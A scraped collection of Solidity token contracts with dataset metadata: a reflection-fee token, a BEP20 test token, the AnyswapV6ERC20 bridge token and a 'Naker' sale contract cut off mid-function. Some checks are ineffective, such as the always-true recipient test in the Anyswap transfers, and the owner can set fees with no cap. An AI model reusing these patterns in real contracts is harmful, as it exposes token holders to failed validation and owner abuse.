_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 333,311 | 12,441 |
d27eb4f522498feb5b5956f496f79572b4027ba27175631b52e02e77b8dc6317
| 30,598 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/31/310d1c8fe5e85b37ed23683c3270c21fda3b17cd_TEST1.sol
| 2,941 | 12,217 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HasForeignAsset is Ownable {
function assetBalance(IBEP20 asset) external view returns (uint256) {
return asset.balanceOf(address(this));
}
function getAsset(IBEP20 asset) external onlyOwner {
asset.transfer(owner(), this.assetBalance(asset));
}
}
contract Pausable is Ownable {
event Pause(bool isPause);
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
require(block.timestamp < 1621969429, "Function is not callable anymore");
paused = true;
emit Pause(paused);
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Pause(paused);
}
}
contract TEST1 is IBEP20, HasForeignAsset, Pausable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor() {
_name = "TEST1";
_symbol = "TEST1";
_decimals = 18;
uint256 _maxSupply = 100000000;
_mintOnce(msg.sender, _maxSupply.mul(10**_decimals));
}
receive() external payable {
revert();
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
whenNotPaused
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override whenNotPaused returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount,
"BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue,
"BEP20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(recipient != address(this),
"BEP20: Transfer to the same contract address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount,
"BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mintOnce(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount,
"BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
| 71,798 | 12,442 |
4d77b6bc1eb88468857c7de76feda2ce13f6756b5d08bf93c46112564aa5e998
| 24,585 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/34/340fE1D898ECCAad394e2ba0fC1F93d27c7b717A_AnyswapV6ERC20.sol
| 5,050 | 19,376 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 25,704 | 12,443 |
1c3b78ed6e494bd8302f989553667b4855a9b11e382eb4892e6e92de501f70ea
| 11,082 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xB9E35c7747c7D4d053d235E3bf57F8eb76bbDbD3/contract.sol
| 2,672 | 10,129 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Naker is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Naker";
string public constant symbol = "NKR";
uint public constant decimals = 18;
uint public deadline = now + 0 * 1 seconds; //Now
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 10 * 1 days;
uint256 public totalSupply = 27000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1000 ; //
uint256 public tokensPerEth =1e18; // Last updated price by admin
uint public target0drop = 0e18; //No
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 companyFund = 27000e18; // 0
owner = msg.sender;
distr(owner, companyFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 10000 / 2; // Send 10000 BNB or more and get 2% more NKR of round 1
uint256 bonusCond2 = 10000 / 1; // Send 10000 BNB or more and get 1% more NKR of round 2
uint256 bonusCond3 = 10000 ;
tokens = tokensPerEth.mul(msg.value) / 1000 ;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 0 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 2 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0.0001e18;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
